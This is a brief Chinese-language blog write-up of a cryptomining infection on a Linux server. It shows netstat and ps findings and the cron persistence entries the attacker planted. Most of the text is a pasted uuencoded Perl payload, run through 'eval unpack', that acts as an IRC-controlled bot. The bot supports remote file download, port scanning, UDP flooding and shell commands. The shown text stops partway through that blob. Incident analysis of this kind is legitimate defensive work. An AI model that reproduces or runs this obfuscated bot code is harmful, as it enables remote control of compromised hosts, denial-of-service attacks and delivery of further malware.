Mining malware analysis

2022-04-22 · Malware Analysis · #cryptomining #linux #reverse-engineering

Mining malware analysis

netstat -antp

大量的 ip 對 107.191.99.95 的 port 80 進行連線,且發現每次重開機後都會重新連線,應該是有開機自啟動。

107.191.99.95

經調查是門羅幣的挖礦

再來分析,使用的程式 cron

PID 為 1475

ps -aux |grep 1475

發現是 ./cron

使用者居然是 test2 (看來是同學帳號亂建立,被暴力入侵而得)

find . -name cron*

找到檔案 cron.d

/home/test2/.firefoxcatche/cron.d

* */12 * * * /home/test2/.firefoxcatche/a/upd>/dev/null 2>&1
@reboot /home/test2/.firefoxcatche/a/upd>/dev/null 2>&1
5 8 * * 0 /home/test2/.firefoxcatche/b/sync>/dev/null 2>&1
@reboot /home/test2/.firefoxcatche/b/sync>/dev/null 2>&1  
#5 1 * * * /tmp/.X13-unix/.rsync/c/aptitude>/dev/null 2>&1

test2 帳號的 crontab

被放了什麼東西進來

主要的惡意程式邏輯應該在 .firefoxcatche

cron.d 是最後要執行的程式

會執行

a/upd
@reboot 後 a/upd

b/sync
@reboot 後 b/sync

/tmp/.X13-unix/.rsync/c/aptitude

先來看 a 資料夾

a/a

a/upd

a/stop

a/run

a/init0

看起來是自毀程式

最後會執行 anacron 這個執行檔案

再來是 b 資料夾

b/a

b/sync

b/ps

二進位執行檔案

b/rsync

eval unpack u=>q{_"FUY("1P<F]C97-S;R`]("=R<WEN8R<["@HD<V5R=FED;W(])S4N,C4U+C@V+C$R.2<@=6YL97-S("1S97)V_:61O<CL*;7D@)'!O<G1A/2<T-#,G.PIM>2!`8V%N86ES/2@B(S`P-R(I.PIM>2!`861M<STH(D$B+")8(BD[_"FUY($!A=71H/2@B;&]C86QH;W-T(BD["@IM>2`D;&EN87-?;6%X/38["FUY("1S;&5E<#TS.PH*;7D@)&YI_8VL@/2!G971N:6-K*"D["FUY("1I<F-N86UE(#T@9V5T;FEC:R@I.PIM>2`D<F5A;&YA;64@/2`H8'5N86UE_("UA8"D["@IM>2`D86-E<W-O<VAE;&P@/2`Q.PIM>2`D<')E9FEX;R`]("(A("(["FUY("1E<W1A=&ES=&EC_87,@/2`P.PIM>2`D<&%C;W1E<R`](#$["@IM>2`D5D524T%/(#T@)S`N,F$G.PH*)%-)1WLG24Y4)WT@/2`G_24=.3U)%)SL*)%-)1WLG2%50)WT@/2`G24=.3U)%)SL*)%-)1WLG5$5232=](#T@)TE'3D]212<["B1324=[_)T-(3$0G?2`]("=)1TY/4D4G.PHD4TE'>R=04R=](#T@)TE'3D]212<["@IU<V4@24\Z.E-O8VME=#L*=7-E_(%-O8VME=#L*=7-E($E/.CI396QE8W0["F-H9&ER*"(O(BD["B1S97)V:61O<CTB)$%21U9;,%TB(&EF("1!_4D=66S!=.PHD,#TB)'!R;V-E<W-O(BXB7#`B.PIM>2`D<&ED/69O<FL["F5X:70@:68@)'!I9#L*9&EE(")0_<F]B;&5M82!C;VT@;R!F;W)K.B`D(2(@=6YL97-S(&1E9FEN960H)'!I9"D["@IM>2`E:7)C7W-E<G9E<G,[_"FUY("5$0T,["FUY("1D8V-?<V5L(#T@;F5W($E/.CI396QE8W0M/FYE=R@I.PH*"@H*<W5B(&=E=&YI8VL@_>PH@(')E='5R;B`B>"(N:6YT*')A;F0H.3`P,"DI.PI]"@H*<W5B(&=E=&ED96YT('L*("!M>2`D<F5T;W)N_;VED96YT(#T@)E]G970H(FAT='`Z+R]W=W<N;6EN<&]P+F-O;2]S:S$R<&%C:R]I9&5N=',N<&AP(BD["B`@_;7D@)&ED96YT8VAA;F-E(#T@:6YT*')A;F0H,3`P,"DI.PH@(&EF("@D:61E;G1C:&%N8V4@/B`S,"D@>PH@_("`@(')E='5R;B`D;FEC:SL*("!](&5L<V4@>PH@("`@(')E='5R;B`D<F5T;W)N;VED96YT.PH@('T*("!R_971U<FX@)')E=&]R;F]I9&5N=#L*?0H*<W5B(&=E=&YA;64@>PH@(&UY("1R971O<FYO;F%M92`]("9?9V5T_*")H='1P.B\O=W=W+FUI;G!O<"YC;VTO<VLQ,G!A8VLO;F%M97,N<&AP(BD["B`@<F5T=7)N("1R971O<FYO_;F%M93L*?0H*<W5B(&=E=&ED96YT,B!["B`@("`@("`@;7D@)&QE;F=T:#US:&EF=#L*("`@("`@("`D;&5N_9W1H(#T@,R!I9B`H)&QE;F=T:"`\(#,I.PH*("`@("`@("!M>2!`8VAA<G,]*"=A)RXN)WHG+"=!)RXN)UHG_+"<Q)RXN)SDG*3L*("`@("`@("!F;W)E86-H("@Q+BXD;&5N9W1H*0H@("`@("`@('L*("`@("`@("`@("`@_("`@("1R86YD;VUS=')I;F<N/21C:&%R<UMR86YD($!C:&%R<UT["B`@("`@("`@?0H@("`@("`@(')E='5R_;B`D<F%N9&]M<W1R:6YG.PI]"@IS=6(@9V5T<W1O<F4@*"0D*0I["B`@;7D@)'5R;"`]('-H:69T.PH@(&UY_("1F:6QE(#T@<VAI9G0["@H@("1H='1P7W-T<F5A;5]O=70@/2`Q.PH@(&]P96XH1T547T]55$9)3$4L("(^_("1F:6QE(BD["B`@)6AT='!?;&]O<%]C:&5C:R`]("@I.PH@(%]G970H)'5R;"D["B`@8VQO<V4@1T547T]5_5$9)3$4["B`@<F5T=7)N("1M86EN.CIH='1P7V=E=%]R97-U;'0["GT*"G-U8B!?9V5T"GL*("!M>2`D=7)L_(#T@<VAI9G0["B`@;7D@)'!R;WAY(#T@(B(["B`@9W)E<"![*&QC*"1?*2!E<2`B:'1T<%]P<F]X>2(I("8F_("@D<')O>'D@/2`D14Y6>R1??2E](&ME>7,@)45.5CL*("!I9B`H*"1P<F]X>2!E<2`B(BD@)B8@)'5R;"`]_?B!M+%YH='1P.B\O*%M>+SI=*RDH/SHZ*%QD*RDI/R@O7%,J*3\D+"D@>PH@("`@;7D@)&AO<W0@/2`D,3L*_("`@(&UY("1P;W)T(#T@)#(@?'P@.#`["B`@("!M>2`D<&%T:"`]("0S.PH@("`@)'!A=&@@/2`B+R(@=6YL_97-S(&1E9FEN960H)'!A=&@I.PH@("`@<F5T=7)N(%]T<FEV:6%L7VAT='!?9V5T*"1H;W-T+"`D<&]R="P@_)'!A=&@I.PH@('T@96QS:68@*"1P<F]X>2`]?B!M+%YH='1P.B\O*%M>+SI=*RDZ*%QD*RDH+UQ3*BD_)"PI_('L*("`@(&UY("1H;W-T(#T@)#$["B`@("!M>2`D<&]R="`]("0R.PH@("`@;7D@)'!A=&@@/2`D=7)L.PH@_("`@<F5T=7)N(%]T<FEV:6%L7VAT='!?9V5T*"1H;W-T+"`D<&]R="P@)'!A=&@I.PH@('T@96QS92!["B`@_("!R971U<FX@=6YD968["B`@?0I]"@H*<W5B(%]T<FEV:6%L7VAT='!?9V5T"GL*("!M>2@D:&]S="P@)'!O_<G0L("1P871H*2`]($!?.PH@(&UY*"1!1T5.5"P@)%9%4E-)3TXL("1P*3L*"B`@)$%'14Y4(#T@(F=E="UM_:6YI;6%L(CL*("`D5D524TE/3B`]("(R,#`P,#$Q."(["@H@("1P871H(#U^(',O("\E,C`O9SL*"B`@<F5Q_=6ER92!)3SHZ4V]C:V5T.PH@(&QO8V%L*"1>5RD@/2`P.PH@(&UY("1S;V-K(#T@24\Z.E-O8VME=#HZ24Y%_5"T^;F5W*%!E97)!9&1R(#T^("1H;W-T+`H@("`@("`@("`@("`@("`@("`@("`@("`@("`@("`@("`@(%!E_97)0;W)T(#T^("1P;W)T+`H@("`@("`@("`@("`@("`@("`@("`@("`@("`@("`@("`@(%!R;W1O("`@/3X@_)W1C<"<L"B`@("`@("`@("`@("`@("`@("`@("`@("`@("`@("`@("`@5&EM96]U="`@/3X@-C`I('Q\(')E_='5R;CL*("`D<V]C:RT^875T;V9L=7-H.PH@(&UY("1N971L;V,@/2`D:&]S=#L*("`D;F5T;&]C("X]("(Z_)'!O<G0B(&EF("1P;W)T("$](#@P.PH@(&UY("1R97%U97-T(#T@(D=%5"`D<&%T:"!(5%10+S$N,%PP,35<_,#$R(@H@("`@("`@("`@("`@("X@(DAO<W0Z("1N971L;V-<,#$U7#`Q,B(*("`@("`@("`@("`@("`N(")5_<V5R+4%G96YT.B`D04=%3E0O)%9%4E-)3TXO=5PP,35<,#$R(CL*("`D<F5Q=65S="`N/2`B4')A9VUA.B!N_;RUC86-H95PP,35<,#$R(B!I9B`H)&UA:6XZ.FAT='!?;F]?8V%C:&4I.PH@("1R97%U97-T("X](")<,#$U_7#`Q,B(["B`@<')I;G0@)'-O8VL@)')E<75E<W0["@H@(&UY("1B=68@/2`B(CL*("!M>2`D;CL*("!M>2`D_8C$@/2`B(CL*("!W:&EL92`H)&X@/2!S>7-R96%D*"1S;V-K+"`D8G5F+"`X*C$P,C0L(&QE;F=T:"@D8G5F_*2DI('L*("`@(&EF("@D8C$@97$@(B(I('L@"B`@("`@("1B,2`]("1B=68[("`@("`@("`@"B`@("`@("1B_=68@/7X@<R\N*S]<,#$U/UPP,3)<,#$U/UPP,3(O+W,[("`@("`@"B`@("!]"B`@("!I9B`H)&AT='!?<W1R_96%M7V]U="D@>R!P<FEN="!'151?3U541DE,12`D8G5F.R`D8G5F(#T@(B([('T*("!]"B`@<F5T=7)N('5N_9&5F('5N;&5S<R!D969I;F5D*"1N*3L*"B`@)&UA:6XZ.FAT='!?9V5T7W)E<W5L="`](#(P,#L*("!I9B`H_)&(Q(#U^(&TL7DA45%`O7&0K7"Y<9"M<<RLH7&0K*5M>7#`Q,ETJ7#`Q,BPI('L*("`@("1M86EN.CIH='1P_7V=E=%]R97-U;'0@/2`D,3L*("`@(&EF("@D;6%I;CHZ:'1T<%]G971?<F5S=6QT(#U^("]>,S!;,3(S-UTO_("8F("1B,2`]?B`O7#`Q,DQO8V%T:6]N.EQS*BA<4RLI+PHI('L*("`@("`@;7D@)'5R;"`]("0Q.PH@("`@_("!R971U<FX@=6YD968@:68@)&AT='!?;&]O<%]C:&5C:WLD=7)L?2LK.PH@("`@("!R971U<FX@7V=E="@D_=7)L*3L*("`@('T*("`@(')E='5R;B!U;F1E9B!U;FQE<W,@)&UA:6XZ.FAT='!?9V5T7W)E<W5L="`]?B`O_7C(O.PH@('T*"B`@<F5T=7)N("1B=68["GT*"@HD<V5L7V-L:65N=&4@/2!)3SHZ4V5L96-T+3YN97<H*3L*_<W5B('-E;F1R87<@>PH@(&EF("@D(U\@/3T@)S$G*2!["B`@("!M>2`D<V]C:V5T(#T@)%];,%T["B`@("!P_<FEN="`D<V]C:V5T("(D7ULQ75QN(CL*("!](&5L<V4@>PH@("`@("!P<FEN="`D25)#7V-U<E]S;V-K970@_(B1?6S!=7&XB.PH@('T*?0H*<W5B(&-O;F5C=&%R('L*("`@;7D@)&UE=6YI8VL@/2`D7ULP73L*("`@;7D@_)'-E<G9I9&]R7V-O;B`]("1?6S%=.PH@("!M>2`D<&]R=&%?8V]N(#T@)%];,ET["@H@("!M>2`D25)#7W-O_8VME="`]($E/.CI3;V-K970Z.DE.150M/FYE=RA0<F]T;ST^(G1C<"(L(%!E97)!9&1R/3XB)'-E<G9I9&]R_7V-O;B(L(%!E97)0;W)T/3XD<&]R=&%?8V]N*2!O<B!R971U<FXH,2D["B`@(&EF("AD969I;F5D*"1)4D-?_<V]C:V5T*2D@>PH@("`@("1)4D-?8W5R7W-O8VME="`]("1)4D-?<V]C:V5T.PH*("`@("`D25)#7W-O8VME_="T^875T;V9L=7-H*#$I.PH@("`@("1S96Q?8VQI96YT92T^861D*"1)4D-?<V]C:V5T*3L*"B`@("`@)&ER_8U]S97)V97)S>R1)4D-?8W5R7W-O8VME='U[)VAO<W0G?2`]("(D<V5R=FED;W)?8V]N(CL*("`@("`D:7)C_7W-E<G9E<G-[)$E20U]C=7)?<V]C:V5T?7LG<&]R=&$G?2`]("(D<&]R=&%?8V]N(CL*("`@("`D:7)C7W-E_<G9E<G-[)$E20U]C=7)?<V]C:V5T?7LG;FEC:R=](#T@)&UE=6YI8VL["B`@("`@)&ER8U]S97)V97)S>R1)_4D-?8W5R7W-O8VME='U[)VUE=6EP)WT@/2`D25)#7W-O8VME="T^<V]C:VAO<W0["B`@("`@;FEC:R@B)&UE_=6YI8VLB*3L*("`@("!S96YD<F%W*")54T52("1I<F-N86UE("(N)$E20U]S;V-K970M/G-O8VMH;W-T+B(@_)'-E<G9I9&]R7V-O;B`Z)')E86QN86UE(BD["B`@("`@<VQE97`@,CL*("`@?0H*?0IM>2`D;&EN95]T96UP_.PIW:&EL92@@,2`I('L*("`@=VAI;&4@*"$H:V5Y<R@E:7)C7W-E<G9E<G,I*2D@>R!C;VYE8W1A<B@B)&YI_8VLB+"`B)'-E<G9I9&]R(BP@(B1P;W)T82(I.R!]"B`@(&1E;&5T92@D:7)C7W-E<G9E<G-[)R=]*2!I9B`H_9&5F:6YE9"@D:7)C7W-E<G9E<G-[)R=]*2D["B`@("9$0T,Z.F-O;FYE8W1I;VYS.PH@("!M>2!`<F5A9'D@_/2`D<V5L7V-L:65N=&4M/F-A;E]R96%D*#`N-BD["B`@(&YE>'0@=6YL97-S*$!R96%D>2D["B`@(&9O<F5A_8V@@)&9H("A`<F5A9'DI('L*("`@("`D25)#7V-U<E]S;V-K970@/2`D9F@["B`@("`@)&UE=6YI8VL@/2`D_:7)C7W-E<G9E<G-[)$E20U]C=7)?<V]C:V5T?7LG;FEC:R=].PH@("`@("1N<F5A9"`]('-Y<W)E860H)&9H_+"`D;7-G+"`T,#DV*3L*("`@("!I9B`H)&YR96%D(#T](#`I('L*("`@("`@("`D<V5L7V-L:65N=&4M/G)E_;6]V92@D9F@I.PH@("`@("`@("1F:"T^8VQO<V4["B`@("`@("`@9&5L971E*"1I<F-?<V5R=F5R<WLD9FA]_*3L*("`@("!]"B`@("`@0&QI;F5S(#T@<W!L:70@*"]<;B\L("1M<V<I.PH*("`@("!F;W(H;7D@)&,],#L@_)&,\/2`D(VQI;F5S.R`D8RLK*2!["B`@("`@("`D;&EN92`]("1L:6YE<ULD8UT["B`@("`@("`D;&EN93TD_;&EN95]T96UP+B1L:6YE(&EF("@D;&EN95]T96UP*3L*("`@("`@("1L:6YE7W1E;7`])R<["B`@("`@("`D_;&EN92`]?B!S+UQR)"\O.PH@("`@("`@=6YL97-S("@D8R`]/2`D(VQI;F5S*2!["B`@("`@("`@('!A<G-E_*"(D;&EN92(I.PH@("`@("`@?2!E;'-E('L*("`@("`@("`@("!I9B`H)"-L:6YE<R`]/2`P*2!["B`@("`@_("`@("`@("!P87)S92@B)&QI;F4B*3L*("`@("`@("`@("!](&5L<VEF("@D;&EN97-;)&-=(#U^("]<<B0O_*2!["B`@("`@("`@("`@("`@('!A<G-E*"(D;&EN92(I.PH@("`@("`@("`@('T@96QS:68@*"1L:6YE(#U^_("]>*%Q3*RD@3D]424-%($%55$@@.EPJ7"I<*B\I('L*("`@("`@("`@("`@("`@<&%R<V4H(B1L:6YE(BD[_"B`@("`@("`@("`@?2!E;'-E('L*("`@("`@("`@("`@("`@)&QI;F5?=&5M<"`]("1L:6YE.PH@("`@("`@_("`@('T*("`@("`@('T*("`@("`@?0H@("!]"GT*"G-U8B!P87)S92!["B`@(&UY("1S97)V87)G(#T@<VAI_9G0["B`@(&EF("@D<V5R=F%R9R`]?B`O7E!)3D<@7#HH+BHI+RD@>PH@("`@('-E;F1R87<H(E!/3D<@.B0Q_(BD["B`@('T@96QS:68@*"1S97)V87)G(#U^("]>7#HH+BL_*5PA*"XK/RE<0"@N*S\I(%!2259-4T<@*"XK_/RD@7#HH+BLI+RD@>PH@("`@("`@;7D@)'!N/20Q.R!M>2`D;VYD92`]("0T.R!M>2`D87)G<R`]("0U.PH@_("`@("`@:68@*"1A<F=S(#U^("]>7#`P,59%4E-)3TY<,#`Q)"\I('L*("`@("`@("`@;F]T:6-E*"(D<&XB_+"`B7#`P,59%4E-)3TX@;4E20R!V-BXQ-B!%3D4@04Q)3B!'04)2245,7#`P,2(I.PH@("`@("`@?0H@("`@_("`@96QS:68@*"1A<F=S(#U^("]>7#`P,5!)3D=<<RLH7&0K*5PP,#$D+RD@>PH@("`@("`@("!N;W1I8V4H_(B1P;B(L(")<,#`Q4$].1UPP,#$B*3L*("`@("`@('T*("`@("`@(&5L<VEF("AG<F5P('LD7R`]?B`O7EQ1_)'!N7$4D+VD@?2!`861M<RD@>PH@("`@("`@("!I9B`H)&]N9&4@97$@(B1M975N:6-K(BE["B`@("`@("`@_("`@<VAE;&PH(B1P;B(L("(D87)G<R(I.PH@("`@("`@("`@('T*("`@("`@("`@96QS:68@*"1A<F=S(#U^_("]>*%Q1)&UE=6YI8VM<17Q<421P<F5F:7AO7$4I7',K*"XJ*2\@*2!["B`@("`@("`@("`@(&UY("1N871R_:7@@/2`D,3L*("`@("`@("`@("`@;7D@)&%R9R`]("0R.PH@("`@("`@("`@("!I9B`H)&%R9R`]?B`O7EPA_*"XJ*2\I('L*("`@("`@("`@("`@("!I<F-A<V4H(B1P;B(L(B1O;F1E(BPB)#$B*2!U;FQE<W,@*"1N871R_:7@@97$@(B1P<F5F:7AO(B!A;F0@)&%R9R`]?B`O7EPA;FEC:R\I.PH@("`@("`@("`@("!](&5L<VEF("@D_87)G(#U^("]>7$`H+BHI+RD@>PH@("`@("`@("`@("`@("`@)&]N9&5P(#T@)&]N9&4["B`@("`@("`@("`@_("`@("`D;VYD97`@/2`D<&X@:68@)&]N9&4@97$@)&UE=6YI8VL["B`@("`@("`@("`@("`@("!B9G5N8R@B_)&]N9&5P(BPB)#$B*3L*("`@("`@("`@("`@?2!E;'-E('L*("`@("`@("`@("`@("`@('-H96QL*"(D;VYD_92(L("(D87)G(BD["B`@("`@("`@("`@('T*("`@("`@("`@?0H@("`@("`@?0H@("!](&5L<VEF("@D<V5R_=F%R9R`]?B`O7EPZ*"XK/RE<(2@N*S\I7$`H+BL_*5QS*TY)0TM<<RM<.BA<4RLI+VDI('L*("`@("`@(&EF_("AL8R@D,2D@97$@;&,H)&UE=6YI8VLI*2!["B`@("`@("`@("1M975N:6-K/20T.PH@("`@("`@("`D:7)C_7W-E<G9E<G-[)$E20U]C=7)?<V]C:V5T?7LG;FEC:R=](#T@)&UE=6YI8VL["B`@("`@("!]"B`@('T@96QS_:68@*"1S97)V87)G(#U^(&TO7EPZ*"XK/RE<<RLT,S,O:2D@>PH@("`@("`@)&UE=6YI8VL@/2!G971N:6-K_*"D["B`@("`@("!N:6-K*"(D;65U;FEC:R(I.PH@("!](&5L<VEF("@D<V5R=F%R9R`]?B!M+UY<.B@N*S\I_7',K,#`Q7',K*%Q3*RE<<R]I*2!["B`@("`@("`D;65U;FEC:R`]("0R.PH@("`@("`@)&ER8U]S97)V97)S_>R1)4D-?8W5R7W-O8VME='U[)VYI8VLG?2`]("1M975N:6-K.PH@("`@("`@)&ER8U]S97)V97)S>R1)4D-?_8W5R7W-O8VME='U[)VYO;64G?2`]("(D,2(["B`@("`@("!F;W)E86-H(&UY("1C86YA;"`H0&-A;F%I<RD@_>PH@("`@("`@("!S96YD<F%W*")*3TE.("1C86YA;"(I.PH@("`@("`@?0H@("!]"GT*"G-U8B!B9G5N8R![_"B`@;7D@)'!R:6YT;"`]("1?6S!=.PH@(&UY("1F=6YC87)G(#T@)%];,5T["B`@:68@*&UY("1P:60@/2!F_;W)K*2!["B`@("`@=V%I='!I9"@D<&ED+"`P*3L*("!](&5L<V4@>PH@("`@("!I9B`H9F]R:RD@>PH@("`@_("`@("!E>&ET.PH@("`@("`@?2!E;'-E('L*("`@("`@("`@("!I9B`H)&9U;F-A<F<@/7X@+UYP;W)T<V-A_;B`H+BHI+RD@>PH@("`@("`@("`@("`@;7D@)&AO<W1I<#TB)#$B.PH@("`@("`@("`@("`@;7D@0'!O<G1A_<STH(C(Q(BPB,C(B+"(R,R(L(C(U(BPB-3,B+"(X,"(L(C$Q,"(L(C$T,R(L(C8V-C4B*3L*("`@("`@("`@_("`@(&UY("A`86)E<G1A+"`E<&]R=&%?8F%N;F5R*3L*("`@("`@("`@("`@(&9O<F5A8V@@;7D@)'!O<G1A_("A`<&]R=&%S*2`@>PH@("`@("`@("`@("`@("`@;7D@)'-C86YS;V-K(#T@24\Z.E-O8VME=#HZ24Y%5"T^_;F5W*%!E97)!9&1R(#T^("1H;W-T:7`L(%!E97)0;W)T(#T^("1P;W)T82P@4')O=&\@/3X@)W1C<"<L(%1I_;65O=70@/3X@-"D["B`@("`@("`@("`@("`@("!I9B`H)'-C86YS;V-K*2!["B`@("`@("`@("`@("`@("`@_("!P=7-H("A`86)E<G1A+"`D<&]R=&$I.PH@("`@("`@("`@("`@("`@("`@)'-C86YS;V-K+3YC;&]S93L*_("`@("`@("`@("`@("`@('T*("`@("`@("`@("`@('T*("`@("`@("`@("`@(&EF("A`86)E<G1A*2!["B`@_("`@("`@("`@("`@('-E;F1R87<H)$E20U]C=7)?<V]C:V5T+"`B4%))5DU31R`D<')I;G1L(#I0;W)T87,@_86)E<G1A<SH@0&%B97)T82(I.PH@("`@("`@("`@("`@?2!E;'-E('L*("`@("`@("`@("`@("`@("!S96YD_<F%W*"1)4D-?8W5R7W-O8VME="PB4%))5DU31R`D<')I;G1L(#I.96YH=6UA('!O<G1A(&%B97)T82!F;VD@_96YC;VYT<F%D82XB*3L*("`@("`@("`@("`@('T*("`@("`@("`@("!]"@H@("`@("`@("`@(&5L<VEF("@D_9G5N8V%R9R`]?B`O7F1O=VYL;V%D7',K*"XJ*5QS*R@N*BDO*2!["B`@("`@("`@("`@(&=E='-T;W)E*"(D_,2(L("(D,B(I.PH@("`@("`@("`@("!S96YD<F%W*"1)4D-?8W5R7W-O8VME="P@(E!2259-4T<@)'!R:6YT_;"`Z1&]W;FQO860@9&4@)#(@*"0Q*2!#;VYC;'4N9&\A(BD@:68@*"1E<W1A=&ES=&EC87,I.PH@("`@("`@_("`@("!]"@H@("`@("`@("`@(&5L<VEF("@D9G5N8V%R9R`]?B`O7F9U;&QP;W)T<V-A;EQS*R@N*BE<<RLH_7&0K*5QS*RA<9"LI+RD@>PH@("`@("`@("`@("`@;7D@)&AO<W1N86UE/2(D,2(["B`@("`@("`@("`@("!M_>2`D<&]R=&%I;FEC:6%L(#T@(B0R(CL*("`@("`@("`@("`@(&UY("1P;W)T869I;F%L(#T@(B0S(CL*("`@_("`@("`@("`@(&UY("A`86)E<G1A<RP@)7!O<G1A7V)A;FYE<BD["B`@("`@("`@("`@("!F;W)E86-H(&UY_("1P;W)T82`H)'!O<G1A:6YI8VEA;"XN)'!O<G1A9FEN86PI"B`@("`@("`@("`@("!["B`@("`@("`@("`@_("`@(&UY("1S8V%N<V]C:R`]($E/.CI3;V-K970Z.DE.150M/FYE=RA0965R061D<B`]/B`D:&]S=&YA;64L_(%!E97)0;W)T(#T^("1P;W)T82P@4')O=&\@/3X@)W1C<"<L(%1I;65O=70@/3X@-"D["B`@("`@("`@("`@_("`@(&EF("@D<V-A;G-O8VLI('L*("`@("`@("`@("`@("`@("!P=7-H("A`86)E<G1A<RP@)'!O<G1A*3L*_("`@("`@("`@("`@("`@("`D<V-A;G-O8VLM/F-L;W-E.PH@("`@("`@("`@("`@("`@(&EF("@D97-T871I_<W1I8V%S*2!["B`@("`@("`@("`@("`@("`@("!S96YD<F%W*"1)4D-?8W5R7W-O8VME="P@(E!2259-4T<@_)'!R:6YT;"`Z4&]R=&$@)'!O<G1A(&%B97)T82!E;2`D:&]S=&YA;64B*3L*("`@("`@("`@("`@("`@("!]_"B`@("`@("`@("`@("`@('T*("`@("`@("`@("`@('T*("`@("`@("`@("`@(&EF("A`86)E<G1A<RD@>PH@_("`@("`@("`@("`@("!S96YD<F%W*"1)4D-?8W5R7W-O8VME="P@(E!2259-4T<@)'!R:6YT;"`Z4&]R=&%S_(&%B97)T87,Z($!A8F5R=&%S(BD["B`@("`@("`@("`@("!](&5L<V4@>PH@("`@("`@("`@("`@("!S96YD_<F%W*"1)4D-?8W5R7W-O8VME="PB4%))5DU31R`D<')I;G1L(#I.96YH=6UA('!O<G1A(&%B97)T82!F;VD@_96YC;VYT<F%D82XB*3L*("`@("`@("`@("`@('T*("`@("`@("`@("`@?0H*("`@("`@("`@("`@96QS:68@_*"1F=6YC87)G(#U^("]>=61P7',K*"XJ*5QS*RA<9"LI7',K*%QD*RDO*2!["B`@("`@("`@("`@("`@<F5T_=7)N('5N;&5S<R`D<&%C;W1E<SL*("`@("`@("`@("`@("!S;V-K970H5'(P>"P@4$9?24Y%5"P@4T]#2U]$_1U)!32P@,3<I.PH@("`@("`@("`@("`@(&UY("1A;'9O/6EN971?871O;B@B)#$B*3L*("`@("`@("`@("`@_("!M>2`D<&]R=&$@/2`B)#(B.PH@("`@("`@("`@("`@(&UY("1T96UP;R`]("(D,R(["B`@("`@("`@("`@_("`@;7D@)'!A8V]T93L*("`@("`@("`@("`@("!M>2`D<&%C;W1E<V4["B`@("`@("`@("`@("`@;7D@)&9I_;2`]('1I;64@*R`D=&5M<&\["B`@("`@("`@("`@("`@;7D@)'!A8V]T82`](#$["B`@("`@("`@("`@("`@_=VAI;&4@*"@D<&%C;W1A(#T]("(Q(BD@)B8@*"1P86-O=&5S(#T]("(Q(BDI('L*("`@("`@("`@("`@("`@_("1P86-O=&$@/2`P(&EF("@H=&EM92`^/2`D9FEM*2`F)B`H)'1E;7!O("$]("(P(BDI.PH@("`@("`@("`@_("`@("`@)'!A8V]T93TD<F%N9"!X("1R86YD('@@)')A;F0["B`@("`@("`@("`@("`@("`D<&]R=&$@/2!I_;G0H<F%N9"`V-3`P,"D@*S$@:68@*"1P;W)T82`]/2`B,"(I.PH@("`@("`@("`@("`@("`@<V5N9"A4<C!X_+"`P+"`D<&%C;W1E+"!S;V-K861D<E]I;B@D<&]R=&$L("1A;'9O*2D@86YD("1P86-O=&5S92LK(&EF("@D_<&%C;W1E<R`]/2`B,2(I.PH@("`@("`@("`@("`@('T*("`@("`@("`@("`@("!I9B`H)&5S=&%T:7-T:6-A_<RD*("`@("`@("`@("`@("!["B`@("`@("`@("`@("`@('-E;F1R87<H)$E20U]C=7)?<V]C:V5T+"`B4%))_5DU31R`D<')I;G1L(#I<,#`R5&5M<&\@9&4@4&%C;W1E<UPP,#(Z("1T96UP;R(N(G,B*3L*("`@("`@("`@_("`@("`@<V5N9')A=R@D25)#7V-U<E]S;V-K970L(")04DE635-'("1P<FEN=&P@.EPP,#)4;W1A;"!D92!0_86-O=&5S7#`P,CH@)'!A8V]T97-E(BD["B`@("`@("`@("`@("`@('-E;F1R87<H)$E20U]C=7)?<V]C:V5T_+"`B4%))5DU31R`D<')I;G1L(#I<,#`R06QV;R!D;W,@4&%C;W1E<UPP,#(Z("0Q(BD["B`@("`@("`@("`@_("`@?0H@("`@("`@("`@("!]"@H@("`@("`@("`@("!E;'-I9B`H)&9U;F-A<F<@/7X@+UYU9'!F86EX85QS_*R@N*BE<<RLH7&0K*5QS*RA<9"LI+RD@>PH@("`@("`@("`@("`@(')E='5R;B!U;FQE<W,@)'!A8V]T97,[_"B`@("`@("`@("`@("`@<V]C:V5T*%1R,'@L(%!&7TE.150L(%-/0TM?1$=204TL(#$W*3L*("`@("`@("`@_("`@("!M>2`D9F%I>&%I<#TB)#$B.PH@("`@("`@("`@("`@(&UY("1P;W)T82`]("(D,B(["B`@("`@("`@_("`@("`@;7D@)'1E;7!O(#T@(B0S(CL*("`@("`@("`@("`@("!M>2`D<&%C;W1E.PH@("`@("`@("`@("`@_(&UY("1P86-O=&5S.PH@("`@("`@("`@("`@(&UY("1F:6T@/2!T:6UE("L@)'1E;7!O.PH@("`@("`@("`@_("`@(&UY("1P86-O=&$@/2`Q.PH@("`@("`@("`@("`@(&UY("1A;'9O.PH@("`@("`@("`@("`@('=H:6QE_("@D<&%C;W1A(#T]("(Q(BD@>PH@("`@("`@("`@("`@("`@)'!A8V]T82`](#`@:68@*"AT:6UE(#X]("1F_:6TI("8F("@D=&5M<&\@(3T@(C`B*2D["B`@("`@("`@("`@("`@("!F;W(@*&UY("1F86EX82`](#$[("1F_86EX82`\/2`R-34[("1F86EX82LK*2!["B`@("`@("`@("`@("`@("`@("1A;'9O(#T@:6YE=%]A=&]N*"(D_9F%I>&%I<"XD9F%I>&$B*3L*("`@("`@("`@("`@("`@("`@)'!A8V]T93TD<F%N9"!X("1R86YD('@@)')A_;F0["B`@("`@("`@("`@("`@("`@("1P;W)T82`](&EN="AR86YD(#8U,#`P*2`K,2!I9B`H)'!O<G1A(#T]_("(P(BD["B`@("`@("`@("`@("`@("`@('-E;F0H5'(P>"P@,"P@)'!A8V]T92P@<V]C:V%D9')?:6XH)'!O_<G1A+"`D86QV;RDI(&%N9"`D<&%C;W1E<V4K*R!I9B`H)'!A8V]T97,@/3T@(C$B*3L*("`@("`@("`@("`@_("`@("`@:68@*"1F86EX82`^/2`R-34I('L*("`@("`@("`@("`@("`@("`@("`D9F%I>&$@/2`Q.PH@("`@_("`@("`@("`@("`@("!]"B`@("`@("`@("`@("`@("!]"B`@("`@("`@("`@("`@?0H@("`@("`@("`@("`@_(&EF("@D97-T871I<W1I8V%S*0H@("`@("`@("`@("`@('L*("`@("`@("`@("`@("`@<V5N9')A=R@D25)#_7V-U<E]S;V-K970L(")04DE635-'("1P<FEN=&P@.EPP,#)496UP;R!D92!086-O=&5S7#`P,CH@)'1E;7!O_(BXB<R(I.PH@("`@("`@("`@("`@("!S96YD<F%W*"1)4D-?8W5R7W-O8VME="P@(E!2259-4T<@)'!R:6YT_;"`Z7#`P,E1O=&%L(&1E(%!A8V]T97-<,#`R.B`D<&%C;W1E<V4B*3L*("`@("`@("`@("`@("`@<V5N9')A_=R@D25)#7V-U<E]S;V-K970L(")04DE635-'("1P<FEN=&P@.EPP,#)!;'9O(&1O<R!086-O=&5S7#`P,CH@_)&%